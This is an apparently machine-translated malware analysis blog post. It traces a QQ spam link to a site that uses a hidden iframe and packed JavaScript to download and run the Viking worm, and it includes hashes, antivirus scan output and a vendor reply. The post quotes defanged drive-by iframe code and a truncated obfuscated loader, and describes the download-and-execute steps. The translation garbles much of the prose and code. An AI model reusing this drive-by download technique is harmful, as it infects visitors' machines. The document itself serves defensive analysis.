Be careful when the website in the QQ information is spread to Wajin worm. win32.viking. IX/worm. Viking. PG

EndurerOriginal

1Version

Qq received information:
/---
She is lonely, she is lonely, she hates men, she needs men, please click hxxp: // www. B ** B ** A * imm.info and her video point-to-point sex!
---/

Hxxp: // www. B ** B ** A * imm.infoThe home page contains code:
/---
<IFRAME src = hxxp: // www.9 * 7 * *** 72 *** 5.com/dow.%e1%%%%%%2.htm width = 0 Height = 0> </iframe>
---/

Hxxp: // www.9 * 7 *** 72 *** 5.com/do?%e1=%%%2.htmCode included:
/---
<SCRIPT src = CSS. js> </SCRIPT>
---/

The content of CSS. JS is JavaScript code:
/---
Eval (function (P, A, C, K, E, D) {e = function (c) {return (C <? "": E (parseint (C/A) + (C = C % A)> 35? String. fromcharcode (C + 29): C. tostring (36)}; If (! ''. Replace (/^/, string) {While (c --) d [E (c)] = K [c] | E (C ); k = [function (e) {return d [e]}]; E = function () {return '// W +'}; C = 1 ;}; while (c --) if (K [c]) P = P. replace (New Regexp ('// B' + E (c) + '// B', 'G'), K [c]); Return P ;} ('z ("// J // w ...... (Omitted )...... | 110 | 114 '. Split (' | '), 0 ,{}))
---/

The decrypted content is a Javascript script. The main function is to run the custom function Gn (N) and use Microsoft. XMLHTTP and SCR accept pting. fileSystemObject: download the file 97725.exeand save it as % WINDIR % /~ TMP. tmp and run the command % WINDIR %/system32/cmd.exe/C % WINDIR %/~ using the ShellExecute method of the shell. Application Object Q /~ TMP. tmp to run.

Encryption Method and

It is difficult to decrypt a webpage that broadcasts worm. win32.viking. JG.

The download files are the same.

File Description: D:/test/97725.exe
An error occurred while obtaining the file version information!
Creation Time:
Modification time: 22:13:10
Access time:
Size: 64645 bytes, 63.133 KB
MD5: 8d5e8b2ba870f4d23a460ee5c9a2ca7d

Kaspersky reports:Worm. win32.viking. IX

Scanned file: 97725.exe-infected

97725. exe-infected by worm. win32.viking. IX Statistics: Known viruses: 282829 Updated: 18-03-2007 File size (Kb ): 64 Virus bodies: 1 Files: 1 Warnings: 0 Archives: 0 Suspicious: 0

Subject:	Virus report email analysis result-flow Ticket No.: 6145224
Sender:	"" <Send@rising.net.cn>

Dear customer!
Your email has been received. Thank you for your support for rising.

We have analyzed your problems and files in detail. The following are the analysis results of the files you uploaded:
1. File Name: 97725.exe
Virus Name:Worm. Viking. PG

We will solve the problem in the newer 19.15.02 version (rising star 2006's 18.71.02 version). Please upgrade your rising software to 19.15.02 (rising star 2006's 18.71.02 version) and enable the monitoring center to completely eliminate viruses. If a problem is found during the test, we will postpone the upgrade from version 1 to version 2.